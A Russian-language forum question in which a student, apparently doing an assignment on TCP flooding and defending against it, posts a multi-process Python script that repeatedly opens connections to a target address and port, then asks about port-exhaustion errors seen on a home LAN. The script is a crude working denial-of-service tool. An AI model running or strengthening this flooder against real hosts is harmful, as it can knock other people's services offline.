Моим заданием было создание простого TCP-флудера (просто постоянно подключенного к какому-либо TCP-узлу) и защита от такого рода атак.
Так вот что у меня как флудер:
def ping_ponger(address, port, number, q):
print("Thread #{} is set up and running".format(number))
while q.value == 0:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((address, port))
s.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Ping-pong given node to death")
parser.add_argument("-a", type=str, help="target node address")
parser.add_argument("-p", type=int, help="target node port")
parser.add_argument("-n", type=int, help="number of threads")
parser = parser.parse_args()
thread_list = []
num = Value('d', 0.0)
for x in range(parser.n):
thread_list.append(Process(target=ping_ponger, args=(parser.a, parser.p, x, num)))
thread_list[x].start()
sleep(1)
input("Press any key to end this misery")
num.value = 1
Основная идея заключалась в том, чтобы спамить из нескольких потоков, постоянно подключаться, а затем ничего не делать.
Проблема в том, что я получаю эту ошибку
OSError: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted
сразу после перезапуска кода или через 10-15 секунд работы
Я использую Win10 и подключаюсь к другой машине в моей локальной сети, которая работает на WSL (Ubuntu 18) на Win10.
Я пытался сделать сокеты "тайм-аутом"
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
Не повезло здесь.
Затем я просто скопировал код из функции потока в "main". Все еще не повезло.
Я думаю, что это потому, что он «истощает» свободные порты, и тогда возникает проблема, но я закрываю сокеты после подключения, так что это не должно быть здесь.
Что с этим не так?
UPD 1
Я попытался запустить это из моего WSL, и получил еще одну ошибку
OSError: [Errno 98] Address already in use
И это странно, потому что ОС должна предоставить мне свободный адрес, когда я вызываю socket.socket ()